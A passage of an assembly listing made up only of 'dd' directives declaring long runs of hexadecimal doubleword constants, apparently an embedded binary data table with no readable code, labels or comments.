0A5FE0AF4h, 7A9C3FCAh, 0EDB9E47h dd 275C2368h, 97F79455h, 2DF18420h, 0D49752CDh, 0F02093AFh dd 0CB0FBFD5h, 4525F237h, 8EEFB6F0h, 0C8F65F75h, 0FE735103h dd 81AC5B40h, 472921Bh, 0B3D44CA8h, 27D5E510h, 9F0AF051h dd 31EA259Eh, 0C7179060h, 483A516Eh, 1A052356h, 0BE261519h dd 7FC5E7D2h, 0E9D99343h, 0B9C381D0h, 0D662F54h, 7CEE82E9h dd 4544F9h, 1C3BECBBh, 0EA8A9D33h, 73E50047h, 38351A30h dd 266D4812h, 782531C0h, 10A0000Ah, 3A44192Dh, 6E0E3531h dd 0D2D98ED5h, 0EAE91904h, 250304E8h, 42120EF4h, 0D3A0DFD2h dd 657589B9h, 0F0412730h, 5A9A8A7Ah, 0E9ED88D8h, 2CD64B7Dh dd 0DA9D22FFh, 0F925F75Ch, 675FC981h, 0EEE91F8Ah, 0A250AFC0h dd 2A16C604h, 0DBE145FFh, 48519D3Bh, 3870AA1Dh, 0F5BC2EE1h dd 0EDD6E9E0h, 0A4270BB2h, 59677677h, 58342658h, 0F0FD1523h dd 3A9905B8h, 0E1852D69h, 4630FF87h, 0B8556B54h, 5D8A0CE0h dd 141865E8h, 0D27E662Eh, 0D2683F83h, 0AD580070h, 815DFB13h dd 711321CFh, 8EF010E3h, 2460FC7h, 0E7C054D8h, 77067C4Dh dd 82021690h, 0E9E3AED6h, 0B735F071h, 9B8A05EEh, 4836BCFDh dd 9196F4BFh, 6F91339h, 5986098Ch, 958528AAh, 70DBEACEh dd 48E8D100h, 1A0D2D40h, 50F3EB16h, 4EC413D1h, 75BC8704h dd 0BF4D9457h, 0D46D60Dh, 665CB38Bh, 0D8259077h, 107182E6h dd 7B4D5C25h, 4CEDCA10h, 62F7682Ch, 4D51F295h, 0E12DDB20h dd 7F2312BBh, 84D62AEAh, 0D593425Ah, 50BE7E96h, 10A5BC1h dd 0F64417A7h, 94B3EF9h, 10C65E5Bh, 0C1F140FDh, 0D3D2309h dd 132CFCEFh, 8BB8C057h, 47659E31h, 3A325E7Fh, 41089C6h dd 27B2EE0Ch, 2A19F603h, 0C0770DBh, 1F574DE4h, 5B23E6C0h dd 3E286E27h, 0D7DB7000h, 4C4B33E9h, 79816275h, 0B63AE621h dd 0AB391A9Eh, 742D621Fh, 176D42D6h, 1BEB76Ch, 0F45ABBB2h dd 0E9275614h, 5B4F7E76h, 794C94E0h, 64F556Fh, 0CEE3107h dd 0A035C6BAh, 907EC2D0h, 6ADE3Bh, 50205BF2h, 4CA1E964h dd 12D7E3FDh, 5082B876h, 2FE5F237h, 15020221h, 111E0405h dd 55E0BD3h, 0AFF18BD1h, 4BA37E20h, 4C8CCC46h, 7572040h dd 1635B768h, 117B378h, 5431338Eh, 590B67B8h, 0B8D68A2Ch dd 0CFC4D2AAh, 0CED68EFEh, 8028B911h, 0C15A2120h, 0B2524008h dd 81E2E8CFh, 0F6FA8608h, 0C28E3FD7h, 0E964FE1Bh, 0EAA82Bh dd 7C62B0BEh, 73F331BFh, 8BD8175Eh, 0FC6CEB1Ch, 0EF519F0Ch dd 18B85062h, 0F1B9AD2Bh, 0F8897D49h, 0EB8185C8h, 221F340Eh dd 0AACBC010h, 0C0429A13h, 0C1058448h, 0C350091Bh, 7B957AA0h dd 6F4827D8h, 0C69D3BFFh, 35D99D21h, 0F816E942h, 6A509750h dd 0EBC9C52Ah, 3666816h, 0EE9D6CABh, 0C0A83EEDh, 0F1A6AEE4h dd 1756AC5Eh, 0CC72C683h, 4ADAD891h, 1F2AE85Bh, 1601590Dh dd 573C685Dh, 72BA5654h, 0B0588D28h, 68525600h, 3E1A1DEDh dd 6B46905Ah, 0D2005513h, 77C058F9h, 34A1495Ah, 0BB395466h dd 152B0F0Bh, 0F0E2D90Bh, 48227377h, 96F725CDh, 0A8029853h dd 0B0E6D1BAh, 974650B6h, 9826737Ah, 0DEE0462h, 0AB71CA1Fh dd 81865D4h, 0A87EFCECh, 3F15BB27h, 0B15B5C50h, 2DA0E443h dd 901F0998h, 0D4ED42EDh, 0BA5200BBh, 1FB73F2h, 48EC39F3h dd 0A9579687h, 0E9C264B7h, 0D2A4D242h, 5B3EA3F8h, 0E620C0E8h dd 7DE0C03Eh, 0C630BD17h, 1569D1Fh, 0A9600599h, 0AD4640D3h dd 99598ECh, 0ABC5FFD2h, 0C87CAA89h, 2C163077h, 2DE0886h dd 40C8FBECh, 0BD34E200h, 3E91A75h, 3772ED8h, 4C49B7CEh dd 92108FB3h, 7E8925E8h, 584CBD8Ch, 0BDBB86Ah, 947D348Bh dd 5AE97E1Dh, 0A211CCB5h, 4AAD3016h, 12B683F8h, 70322A04h dd 0C9AA016Ch, 680A01F4h, 5921F7B4h, 91C3011Ah, 82018946h dd 41FDB0Ch, 39940070h, 0FEC16527h, 10756C6Eh, 3AEAED20h dd 0C0CA7324h, 0F7814F4Ah, 18345B09h, 0F438D58Ch, 1B4F80E9h dd 5B4FFB28h, 98B82870h dd 9640B84Eh, 116B563Dh, 68D20BF7h, 0B9514903h, 4D6C9580h dd 0BFE5C178h, 5009BCD0h, 7926C468h, 7DCA806Bh, 90B81B8Ch dd 5458CC7Eh, 2152050h, 68ED2C5Bh, 6B461134h, 0E963B704h dd 24AA6148h, 8BE4AF4Ch, 404C1D2Eh, 0C607BD0Bh, 0E4FB557Bh dd 3DD2F918h, 0CA608FEEh, 66F0094Bh, 0AD40B587h, 61040D82h dd 6EE95F21h, 296849A0h, 396E7A8Dh, 2D366D1Fh, 108D1F79h dd 0FC2E25A9h, 31344B3Bh, 0F04591AAh, 5727A6Eh, 128BD02Dh dd 8B797368h, 84E85882h, 510A48DBh, 0A9600F3h, 0C1897B99h dd 8A8036A4h, 9BAA55E9h, 0A8D8AC61h, 0D2FA6E59h, 6AF52A5Eh dd 0D4EA8E02h, 880E83C2h, 0FC4C58E2h, 21FF4EADh, 8C06BF74h dd 5B88A0B1h, 0F0544FB1h, 8016D9FBh, 8E45EAF1h, 6DC1CA28h dd 46B71FA3h, 2A2E7F10h, 0B43BECF3h, 5B9B65C2h, 0A173DEDh dd 8D01616Ch, 489476E1h, 0DCAE1715h, 80462D31h, 7CED8100h dd 45960717h, 41C5E800h, 9D7A9B4Fh, 8832B52h, 3F500C02h dd 5F5B606Eh, 0BE06C76Eh, 1D2068C8h, 92632693h, 0D0A9C946h dd 0BFA16E5Dh, 680BC0F3h, 69E3FED2h, 0BEF02206h, 16FEAD4Bh dd 2F3CEF40h, 808D400Dh, 1873C348h, 0EB112599h, 0D92814AEh dd 0F232BD5Bh, 828D4B06h, 0DC76CA52h, 12CA6488h, 0E8F0885Ch dd 4989E040h, 4C9F1DC6h, 0C961EA73h, 0D806BC65h, 122EEA0Eh dd 2666C0Bh, 5A5EB78Eh, 0EF32025h, 526557Ch, 0D698B032h dd 80A64B28h, 6212B551h, 3A8DE888h, 2F020730h, 31E8F1E9h dd 7B0946B8h, 8021036Ch, 0CCF815Dh, 4A29562h, 0AD8905DDh dd 27F25538h, 0FC10140h, 19B27A0Eh, 0F5E01F65h, 16E1F47Bh dd 17AA111Dh, 23BD06BFh, 10C512Fh, 8C9CAB58h, 7559CE31h dd 72F7ECD0h, 3FC3D997h, 1A610B0Bh, 18EDC105h, 70E9CD07h dd 826BEC69h, 74A0A224h, 82AC62D2h, 5B64157Eh, 86A1AF84h dd 0A3291C4Ch, 70B8EAAFh, 1EB206F9h, 6094E280h, 81BABA4Ch dd 790548ACh, 0F46CFAEDh, 0D722E24Fh, 0EAB224BFh, 0B4930AB6h dd 34509376h, 0B6EC49A0h, 10A8EA4Fh, 3404FEA2h, 0E92098EBh dd 94153D25h, 3EC10525h, 824EB05Bh, 66D735B9h, 0D4DA2E74h dd 3765ADB8h, 0D2B6FE93h, 401D2354h, 29275FB3h, 55A56AD7h dd 0E4392438h, 8C0D59BDh, 0FDBFD995h, 67875E95h, 5E329568h dd 0B4D8161Eh, 5B5C257h, 0F5005FA5h, 6B271D9Ch, 68C50A29h dd 84575806h, 12EFB2E9h, 637D49BAh, 0E74777E1h, 0CF44C3EDh dd 548836E8h, 55D7F709h, 5591C4BDh, 9DAF85F5h, 0D45B7654h dd 8BBBC2C4h, 55FF400Bh, 0CBD8F780h, 29010880h, 0FC440928h dd 0B3B36DF9h, 78148600h, 0EA53BB21h, 854F4BA9h, 912287B1h dd 7F0F924Ah, 8AE92681h, 515A0C3Eh, 471F3DB0h, 111360E4h dd 6DBC4A85h, 0E0D4C9DEh, 0F6847848h, 0D49A6725h, 0D2561FB5h dd 94882A4h, 0EB0680D5h, 4167826h, 5BDD8908h, 84E5AF21h dd 0C5ACCCD4h, 0C259582Eh, 0B7983A85h, 4EB0FC88h, 2D15E90Bh dd 9D6C2501h, 0B65EE9B0h, 0C4BD5125h, 3B5C7C34h, 7B9F7E41h dd 0DC50146h, 3051EA56h, 301392DFh, 0B1132935h, 0B5FB79A0h dd 43AAE2C8h, 545C992Fh, 984B8BE3h, 3178C96h, 28AF010Bh dd 9C5E86F1h, 9DCA9425h, 2567E90Bh, 37C01D34h, 8CE9C80Fh dd 62D3B9D7h, 9BD8Ah, 108B6B11h, 2F23481h, 16C9FE0Dh, 8123Fh dd 0FBA58F8h, 0F61704E7h, 8217F201h, 0E69752A2h, 8FF52712h dd 52DF20A3h, 398036B2h, 0C281B1CAh, 0E9EAD0E5h, 1CF42C85h dd 822DAA34h, 5DEBED60h, 9F90103Ah, 2BC9178h, 0A0B20472h dd 0A810CDA2h, 0D3F705E7h, 0FD05DD87h, 0AC361A7Bh, 0C0265132h dd 18DAF26Eh, 0CD6171A5h, 0AC1716D0h, 7176BF68h, 758F136Eh dd 0EBD4EE29h, 0F6410A12h, 0EC1FD93Eh, 0F9226A25h, 47ADEF18h dd 1F7A3DEDh, 20C696Eh, 582DE28Ah, 6CE91922h, 20C3A727h dd 55B292FAh, 31D0F70Eh, 71095AC2h, 880DB43Bh, 0E91757EBh dd 0E9F8FB8Eh, 397CCFA2h, 5603D524h, 0D929456Dh, 7FEE0CDFh dd 0DB578C92h, 2E98A6A6h, 0B6AD1242h, 0A28E2828h, 1AE0B4Ah dd 0A9415392h, 24093A85h, 588E5E50h, 782472B5h, 940C8D52h dd 92D7C21h, 26C60519h, 702713F6h, 68530C10h, 5FBF7042h dd 52D4E565h, 0E0C83A84h, 34D10FE1h, 206B3E2Ch, 0C3BB0BA0h dd 825FF454h, 0DDBCFBC5h, 1F03A550h, 3B5A3719h, 4179374Ch dd 35C37A0Ch, 540C251Eh, 20B5AD0h, 8709B119h, 0CD60FD32h dd 18D82541h, 0AE3EF046h, 20050C0Eh, 1750540Dh, 2707D4E0h dd 0E3548FE9h, 16A1BF83h, 0C78191EDh, 0BA6367ECh, 0E960F52h dd 0EF800BE0h, 6FF07E9Bh, 69E4895Ah, 0A1D1BF5Dh, 29CBE989h dd 0C6C000F9h, 13234EEBh, 38CE2915h, 42097A63h, 4D3AB7h dd 3F21A665h, 98D0A065h, 1E79265Eh, 0AAFE1203h, 0FE25C272h dd 0CAC1901h, 29FB0419h, 3DE23AD2h, 0BDBD9C4h, 0C63D459h dd 554C8F4h, 0CD73EA01h, 6A572D68h, 0BC5A4EE0h, 98FEA769h dd 5600DFCFh, 442D5E47h, 37670F79h, 794F801h, 4913E90Bh dd 77EB327Dh, 831C5C42h, 235F8C09h, 0FAB3014Ah, 4F3B003h dd 0F91E150Ch, 0EFE3C037h, 655C1D09h, 0D45CEAh, 8602A5B8h dd 0BFC051Fh, 563A9773h, 0B935815Fh, 35C04822h, 0CD4F05A8h dd 0E953E927h, 792D0079h, 293C6D4Ah, 456813D8h, 0F9ADCC49h dd 54DE7500h, 8106EBC1h, 52F403CBh, 0E94B337Eh, 25551DEAh dd 5CB06E8Ch, 5CC0F840h, 0B980E57Eh, 0C14BD85Ah, 983C6397h dd 0FF2141Eh, 0D2F74A08h, 0EBEE220h, 1EC172AFh, 49D51DFBh dd 0F67F030h, 13B69C4h, 0C5AC0136h, 0F1457446h, 4E9F4B5Bh dd 0DD6ACFDh, 2CA01B1Fh, 2D9BD480h, 59588590h, 83B9CAFBh dd 33109FE9h, 38D04514h, 3F5885A1h, 0EB13310h, 1400133h dd 0CF43970Dh, 7A5825D8h, 2D51004Fh, 48BA30B3h, 4BFA2C05h dd 77B97F48h, 502C2EFAh, 0C42DB9A7h, 0E86202Eh, 12FF084Bh dd 0E82AEBB8h, 2DC2045Ah, 6E5441B9h, 0E16E7AA8h, 0DDA282F3h dd 0E062CE08h, 1F7535A3h, 4445A513h, 0FB0FA2E9h, 90056E40h dd 90143909h, 9FFF70A5h, 0D751BB74h, 54108B29h, 0DAF61A6Bh dd 0B0936304h, 4C5AD028h, 0B7B0A352h, 0FA0B882Eh, 4794FDE9h dd 0F825B876h, 302D1314h, 692C76C3h, 0E9878E79h, 120E42AFh dd 1020CBFBh, 0A84BD9E5h, 7900D6E5h, 8AD3449h, 16C37781h dd 0B1F752CBh, 0EED23E37h, 9A4D0A1h, 285C91BDh, 38F1C620h dd 0F5EC7448h, 0BC132D01h, 706D68E9h, 0EAC14628h, 302E4A20h dd 35174596h, 0DBE78C9h, 0AE08DF30h, 0F8429318h, 0F8E0FAE0h dd 95721FDFh, 30631D25h, 670B6856h, 9D5D799Ah, 69344B14h dd 0F14E4DA3h, 22F77EC2h, 0E64EF917h, 0F6688390h, 0A2EA8457h dd 1BA992B6h, 1737FD92h, 31308E03h, 5BAD55BDh, 41B3016Eh dd 2E083A13h, 0F68BED04h, 0B51EB200h, 0ED0E8093h, 0AED5288Ch dd 4308B2C5h, 0DBF70E90h, 0CCFA97FDh, 611443FFh, 20808BDh dd 5BC04BC6h, 6C8A2F01h, 9104D0Ch, 0A3A06F1Ch, 20185BA0h dd 0A60B894Fh, 0DD2A1D7Ch, 0D127AC07h, 13F4DAD8h, 4EA219C9h dd 1A5073Ah, 0AD4ECA0h, 95603568h, 0E4E446Fh, 25FF491Fh dd 2042B45Dh, 5897CE55h, 1E70BB6Fh, 29FA0C8h, 0B7F1032h dd 0C9F55120h, 464C837Bh, 4CDC05FFh, 81EB6563h, 0D724BE01h dd 1273E284h, 8CEAD86Eh, 0D9A1482h, 4731BD1Ch, 0C7BA1CCFh dd 5F8B70DCh, 68130A1Ch, 334372h, 8EEF9DF7h, 19EC19C4h dd 7982320Bh dd 220A3D2Dh, 16BAD8C0h, 0C06F0158h, 0A0C90F96h, 0EAEE4A31h dd 5079A76h, 0ED4C2B05h, 4144BC74h, 71CA7F07h, 23E6E909h dd 4D2CE3C8h, 560EAD27h, 685941C5h, 646CC230h, 26E91380h dd 5D1AE262h, 5A597401h, 0F69DD9F0h, 294D5815h, 0FF02F693h dd 404B381Dh, 4ED168ECh, 87F73572h, 0EA7C39A5h, 0CF76B305h dd 0F54459E1h, 1E58080Ch, 0C66102FCh, 0DDFFE93Ch, 5424CD58h dd 0C110B75Bh, 0FC259D3Fh, 5E4BA558h, 70D8CCA9h, 7295A468h dd 0B6C79757h, 0C5875C25h, 0FA7AEEEh, 1375F676h, 0FB71744Eh dd 8181284h, 3910371Ch, 831328E9h, 58462861h, 492D557Fh dd 25BDE95Dh, 44AA3DCh, 8F249DBDh, 28A4C02Ah, 5C5EBB66h dd 84013E9h, 731EC05Eh, 4D05470Fh, 4A7B7B90h, 766FEB2Fh dd 0E8010A1Ch, 0C9F416E1h, 0FE7DA79Ch, 6BBE5C4Fh, 0E082AC6Ch dd 0A6D3BD01h, 6D3C5727h, 11A004A0h, 2FBB38C0h, 0B82B140Eh dd 9242758Bh, 71DA5DDFh, 4DDCCA03h, 104C62D8h, 2D9A03C9h dd 0F125303Eh, 0C57F7544h, 3690983h, 2C838E5Eh, 0DD54B231h dd 9FCC9C10h, 6B132E2Eh, 1919408h, 0E068CA31h, 54CD2A1Eh dd 60297AD0h, 308EC618h, 0F1EC0AC6h, 68498C0Ch, 3A80C0Dh dd 0E973867Fh, 3E00DD61h, 4A2198B8h, 4A37684Bh, 0FF063050h dd 1201012Fh, 0A39F381h, 0EBD8348Dh, 0EDE71787h, 4F9CECB6h dd 3305DF1h, 3270003Bh, 731F2DC8h, 0E09764F7h, 0ACE89A15h dd 436816C7h, 3474BA2Fh, 383CB2EDh, 95301AFh, 0FDA84A17h dd 0A661EE4Ah, 3C29AF35h, 0A61B8604h, 71FDFC33h, 680F53F4h dd 565C1F02h, 35E31300h, 0C216760Dh, 0A8071AC6h, 0B18447C3h dd 0CB0D6823h, 0AA2202F9h, 60520B98h, 0A02A2B20h, 3D432151h dd 6B96115Fh, 1C33AA45h, 46B2F7B6h, 0CDEDA01Eh, 5E301703h dd 4A1BBC3Ch, 3FA37200h, 0D6FAE90Fh, 0DE5CE43Fh, 3E6C182h dd 81EAFC2Ah, 0C8BD5546h, 0C03A9AD3h, 9FB2E915h, 0FA281000h dd 0D12D305Bh, 7E36F05Ah, 800E0B52h, 9876E9EBh, 0B151D380h dd 0E4D9F626h, 0DFD0C9D1h, 0D298FAEEh, 7B93D5Eh, 0E5CCF973h dd 1FE91803h, 0BEF22F09h, 3D7B2B1Eh, 29839EC9h, 6B302E4Bh dd 38B1EC06h, 0BA4A6E27h, 0B851BA2Ch, 6A6295D8h, 83D1CD54h dd 0AFC43105h, 303635C2h, 10063A05h, 3BBE72FCh, 0FE31050Bh dd 0A8F0215Fh, 5357C18Ah, 0E0E367BBh, 131FBF08h, 7BDB97h dd 0B104AD19h, 42952925h, 0C8080B2Dh, 80508F37h, 7613A768h dd 33A712B9h, 2158EC03h, 74BE510Dh, 984A1C0Bh, 0F5F18541h dd 85F30717h, 6017B192h, 5C646DDBh, 0D0BBED17h, 6476C503h dd 0C11E2C14h, 33FC79C5h, 6F8C531Eh, 1205307Bh, 73D5AC3h dd 0E9595598h, 0C17ECBF0h, 1375BE82h, 62204009h, 5E3F1810h dd 1A1F9645h, 0C3E33B50h, 3F206841h, 18A412Eh, 79A5B5h dd 131C355Dh, 3316394h, 0EE190A56h, 8D1CFA76h, 19F2F2Eh dd 8EA283Fh, 4E140CD0h, 76539DD1h, 66D02800h, 2C5B5A09h dd 3AC7F667h, 2D525C79h, 1D58C55Ah, 5358D7A3h, 0DC3DFEB7h dd 0E86B9931h, 6DFDA51Ch, 223E0881h, 0BA609D62h, 0A9574FE0h dd 0A0395299h, 9B2F8968h, 1044048Eh, 85CBC7B4h, 0C9D440D9h dd 19F0637Ch, 0C1D1F71Fh, 82F9069Eh, 1930CEDh, 8DBC6150h dd 0EDC4DD2Fh, 3CFF656Ah, 70BBB046h, 48EC40h, 0DEFE37B8h dd 19DA2DF7h, 4C95984Ch, 5D911623h, 0CDFE5560h, 0EC880E50h dd 0AB96D4F6h, 27D2B71Ch, 74F30D0Bh, 0CBC88941h, 294D3769h dd 1983A165h, 8793AE62h, 0D451E4FEh, 10E6A952h, 0F15A3F81h dd 0D7853A56h, 11695C30h, 3F5F4884h, 0EE18B338h, 0F930C63h dd 0E931510Bh, 0BA774067h, 5DAE167Eh, 48B0F2EFh, 9EC09A6h dd 3BB7E31h, 1CB3E147h, 0B502E8C5h, 0C12EFDB1h, 97B7D067h dd 0AF07C5C3h, 0D1B54341h, 0E0503692h, 3E1A2C5Bh, 0EA2D5E93h dd 2871F089h, 0CFBB5792h, 0DC5F2F1Ah, 46DFF244h, 0E95716D4h dd 59B3A0B0h, 0D6B55872h, 9124A1Ah, 45F9215Ah, 0D243133Ch dd 0D9C2CD40h, 0B764B050h, 680B0059h, 38F3E804h, 9EA599E4h dd 0B83B575Ah, 0A4ECD60Ah, 0FE29C185h, 257D808Bh, 76186578h dd 0AF094693h, 0C06FE963h, 4A470901h, 5301321Ch, 40CAB6C3h dd 0A61F1875h, 56DD0002h, 7C840558h, 0E917D3C5h, 6E204592h dd 5F76B8C7h, 590B812h, 39144605h, 2DF864C1h, 895F0741h dd 0E3B642Fh, 23E2CBE3h, 85C00112h, 9E952873h, 5BBFFE1Bh dd 0E23AB866h, 2DBAD4BAh, 46EB83D1h, 0DE9132Dh, 487DB298h dd 48764D9Bh, 0FE712595h, 0A8E79244h, 0AE7F39AAh, 3000BC28h dd 0E912F062h, 0A84E5A11h, 768DA59Ch, 0CBA7A22Eh, 340C241h dd 7CB342E8h, 25050BA5h, 0C85D6C0Ah, 3F07A28Eh, 4256F1Eh dd 0A805B240h, 11411214h, 0C3E77CA2h, 708FCAE4h, 13F10B0Eh dd 59E689E9h, 0B868057Dh, 54EA3146h, 0D6F22F58h, 0AB22C0DCh dd 0DAF7421Bh, 9819695h, 7400A45h, 82D3AC70h, 0FBA528ACh dd 746B2661h, 2D224965h, 638B432Dh, 0AD2510DCh, 32DC92E9h dd 37B43039h, 0FF08CF0Ch, 29B4D40h, 0E97DCA70h, 185524A9h dd 2768D0E3h, 6C24421Fh, 5A00134Dh, 3A94AA4Ah, 0B2C89789h dd 8C252EEFh, 0EAEF005Dh, 48D461CCh, 0DC20B936h, 4D72DABFh dd 0F350A944h, 3BD44104h, 904950A4h, 54B30A06h, 7E155A9h dd 0FBCFA1D7h, 8F0DC50h, 5207CABCh, 0D423EA88h, 61E3AA5Ah dd 0E16F2813h, 0A56A7CBBh, 0CE8676EDh, 0C4E93F2h, 59E54Bh dd 98DEB8FEh, 5D7C97B4h, 27CD0FCFh, 55091556h, 30E80766h dd 220FD90h, 0B858B7F2h, 5BACD9Ch, 581C7BBBh, 59C10800h dd 0C05013D3h, 0CD7EE994h, 0A80BB853h, 7D396945h, 0C2EB62Ch dd 0EA23E93Fh, 51FF658h, 5D402F49h, 0A09F2793h, 96A5F730h dd 0D9AEE912h, 0B05ECAE7h, 253AEBBBh, 337F2E3Bh, 0CA45042h dd 6A2F4EF6h, 9FC4509Dh, 2BE9C848h, 0AFBCD54Ah, 0BD776AC4h dd 5F8B17FDh, 3DB62EFh, 0BE1E3850h, 34890543h, 820FFE4Eh dd 60D33E4Ah, 1C25DD60h, 6370D582h, 396CAF2h, 0D4135E13h dd 0EBD301ECh, 2C6AAED9h, 5B2568D3h, 5295B128h, 4E1CEEECh dd 645A812Eh, 493208D5h, 0C113911Fh, 546E8E3h, 0C0FC7E64h dd 2D2FCCEBh, 0EC5F31A2h, 0F19420CDh, 17C864C5h, 0CE2E10B3h dd 0E92302D0h, 102BB14h, 0B9C6D7FAh, 0E9BF7E97h, 0EA01C667h dd 17D96802h, 0FC4B2233h, 6866A03Ah, 0E9010B6Bh, 0E99AC56Eh dd 214AA8C2h, 0E2851377h, 0F83103CEh, 816C793h, 7824E68h dd 3F9B4589h, 0AFF1162Fh, 7C8BAB0h, 0DB215CCCh, 0C2F6E427h dd 71127E7Ah, 688185ACh, 0B6FC4ADBh, 4E10CDC5h, 0ABE5C288h dd 90F2AAD5h, 0E99A2CD2h, 0E81A9835h, 0A84EDCBCh, 0B3BAB438h dd 9376909Dh, 0ED99C0AFh, 0A090719h, 225B99E9h, 0F6E642Fh dd 0B86D2C4Ch, 0D20BB20Bh, 0C2EFD820h, 762E243Ah, 0B5FAC05Dh dd 0F9C77673h, 0B5B2D34h, 3CE2684Bh, 20820830h, 891EE727h dd 0EA098089h, 5E630408h, 4412044Ch, 47FA1333h, 0B5FD388h dd 0BE984C55h, 20E950ECh, 75D6ABBDh, 5F270745h, 99BC6102h dd 0CD62A45Ch, 76B8D5DDh, 144A0B68h, 3B5EC78Ch, 81000556h dd 9E2F49F5h, 0F234E951h, 0F9FC26A3h, 46EBA72Fh, 33BFAE9h dd 0FB81E9ACh, 522F1B36h, 0BD2561DAh, 74A8A322h, 0B3AF8439h dd 9CE98266h, 0BD1C534Ch, 0BECD7C92h, 680BB09Eh, 0DDB028F2h dd 0A4245AF5h, 0F00C317h, 5E85BA5h, 6F5917B8h, 7B2501Eh dd 92A4935Eh, 55EE9DACh dd 432AFF26h, 5C69E912h, 0A825FB2Ch, 3066DB8Dh, 0EC39A4Ah dd 0E9E66853h, 26B94A2Dh, 0BBCE01B8h, 40301D29h, 0F57E004Eh dd 802D5860h, 975CF0Ah, 5652DA03h, 0EDC789E7h, 80A931EFh dd 0C5EC514Bh, 0C18E685Fh, 62F734A4h, 0C99A003Eh, 2FEE435Eh dd 0C4E1D12Ch, 0D7334C01h, 2F65136h, 9FE81337h, 0B93B632Bh dd 13F0A63Dh, 8003803Eh, 23E2816Dh, 128E2557h, 0CF57562h dd 9009767Eh, 93504F6Ah, 39CD795h, 3B8BD529h, 50C09215h dd 5F9CB807h, 7DB47B1Dh, 0A43ECEB1h, 6F6B7F9Ah, 7C834210h dd 407B0EC8h, 0C0200948h, 0C45A881Eh, 89C9C1E5h, 58DE884Ch dd 0D78083FDh, 317BF768h, 80FEEA59h, 789ACA81h, 0F0DBE540h dd 0A1571A6h, 7B1BE97Eh, 0EB3D92ECh, 10EC2010h, 304C2C04h dd 90226h, 0C625793Bh, 0E925DA01h, 0B346801Fh, 9D442CA1h dd 0F5E90178h, 0E6012EF1h, 0B252DDF6h, 0D28741E6h, 0CA3A283Bh dd 610B2156h, 487C68AFh, 214BA023h, 0DE55E9FDh, 9C270309h dd 0B76D41FCh, 0F6539430h, 0CE4E4DB0h, 8142E59Eh, 6935DB7Dh dd 21731FEh, 3430D3E2h, 4483EB37h, 972A5C3Dh, 65420712h dd 0E189416Eh, 73F0F073h, 0FB66950Eh, 38A7E20h, 0C0A6B652h dd 9C1304EEh, 0FBEC6155h, 291ADA1h, 546F425Fh, 0D0B90119h dd 211BE301h, 8A056A67h, 61BCF22Eh, 0AA2194E4h, 85009EC9h dd 3730BBh, 0C14B0A6Dh, 0E3D102EBh, 3080AD4h, 5F032AF3h dd 0BE0C0768h, 0C02B9854h, 9D6107CBh, 0B418BCFBh, 12AA0C7Fh dd 20588D14h, 0F65DB393h, 2CCBC4A1h, 6063BA00h, 0B3905E43h dd 92C09452h, 0DE1AB80Bh, 42C32122h, 1283BA32h, 3D07B1E8h dd 0AA1A9CC3h, 0A074AB9h, 0EA254708h, 7D89A310h, 15A5ED2h dd 4C0E65BFh, 1AC22074h, 43136F18h, 4C573D18h, 105E4DA4h dd 0E24208DAh, 389B72Fh, 5D967D5Ch, 0AF2CD583h, 0C8037027h dd 6EA6A604h, 0CE492A02h, 34EED700h, 213B6F57h, 4E07FA46h dd 0C174BA65h, 9D0407D5h, 9FFC8850h, 0C4F363DBh, 0EE361660h dd 58F8646Ch, 4E02662Eh, 29F4F522h, 9508F0D4h, 0BC551D2Dh dd 0EA4590CFh, 7F0BFD57h, 8FD109E6h, 4113E1CCh, 812F212Ch dd 70C4C616h, 754F28B6h, 294FD0F3h, 0C8432148h, 2716E115h dd 3D8146E9h, 8DDC15Eh, 77656AE5h, 647AED3Bh, 92EE071Ah dd 9ED66419h, 0D7710325h, 6534245Ah, 0AED9535Ah, 0EDC1830Bh dd 91555C29h, 0CF60D5F7h, 112213E5h, 0E440FBC8h, 8D0634C6h dd 0FC014E25h, 2A084187h, 6B66632Ch, 3701D321h, 88E5C145h dd 27CC05BCh, 5A011756h, 8958FB46h, 0CFD402Fh, 0D064D08h dd 0B44E5501h, 62CB0563h, 22D1BE0h, 299A5807h, 3FDCC531h dd 94EFD7C4h, 88A9D924h, 3A872DE7h, 0ABF08D07h, 0AB72A63Fh dd 0F8DCCC95h, 14CB21Dh, 0FFE18149h, 4061287Ah, 0D7F4A6E7h dd 2B4DFA75h, 0DF592756h, 0BD687C10h, 927F1F4Dh, 29127FEDh dd 6D97AEF0h, 0BA2400F9h, 5A6306D3h, 0BB0F9123h, 0CBEB107Eh dd 6C1F2434h, 291B02BEh, 0D122530h, 14011C08h, 0A8684DE9h dd 3D1FF94Fh, 16911921h, 0D92AC1DBh, 82A13E86h, 9924453Fh dd 1F67AE53h, 1C584A2h, 534D5B68h, 4109B6EAh, 0DD8EC680h dd 0C1F70A32h, 0A3066B1h, 80879550h, 8757F754h, 37ABE901h dd 7190D5DAh, 6947F701h, 348B4B99h, 0F45CAC2Eh, 1EF77683h dd 0E78C479h, 0EB161B77h, 0ED9AC79Ch, 6A4AB711h, 0D7630B32h dd 843EDC65h, 1B2E688Bh, 532D19E3h, 9C84DB1Ah, 0B76BA4A3h dd 0FFD5F112h, 32A06A53h, 0A9E85A21h, 9C8A8B40h, 0B1B580B9h dd 0F1801CFCh, 0B0C9DE77h, 0CB209F0Ch, 0E740BD98h, 88A29168h dd 0DC2D7329h, 84A536Fh, 0DAEE5164h, 0C8D5A00h, 24563396h dd 0F26182EBh, 3BF58DA0h, 3BE1585Dh, 0D69E9C04h, 0EBA2994h dd 1E12978Eh, 86CA0C55h, 2D40BE22h, 0B83FF754h, 1ED6F1C7h dd 0C7CA0B8Ch, 450BC66Dh, 412347Fh, 0ACC1F770h, 99073F36h dd 60A1398Dh, 7BAA935h, 56BBDC97h, 0B7535100h, 28E6B577h dd 2F2695FDh, 214BE93Ch, 0B24F44F9h, 0C531D733h, 0E7BB8E9h dd 6714B984h, 0A87D3912h, 23D28457h, 56D16802h, 150BEADBh dd 0A780F51Eh, 333003DFh, 890A7A90h, 92207039h, 0AA48F100h dd 27FB0159h, 0BA0992E9h, 0A78EA2F5h, 4B2F239h, 0EA587505h dd 16A2AB79h, 16BA8A96h, 0D0EEE8D6h, 3437452Ch, 80B0FE97h dd 16E09856h, 287014E9h, 6999D49Dh, 0FF4A73A3h, 6B9BDB10h dd 0AA5F5DC5h, 69C0B704h, 0ABB15100h, 0BA276866h, 0B49B4808h dd 0E1303E9Eh, 82515812h, 71755913h, 3B7669FAh, 0A8BB1C25h dd 50E18059h, 0B802CF23h, 29DF40D4h, 0E6C2C351h, 0ACE4DA0Dh dd 0ECE14A21h, 0BD551FAAh, 427513C6h, 5B4D9012h, 0D2CE3611h dd 1BCC6812h, 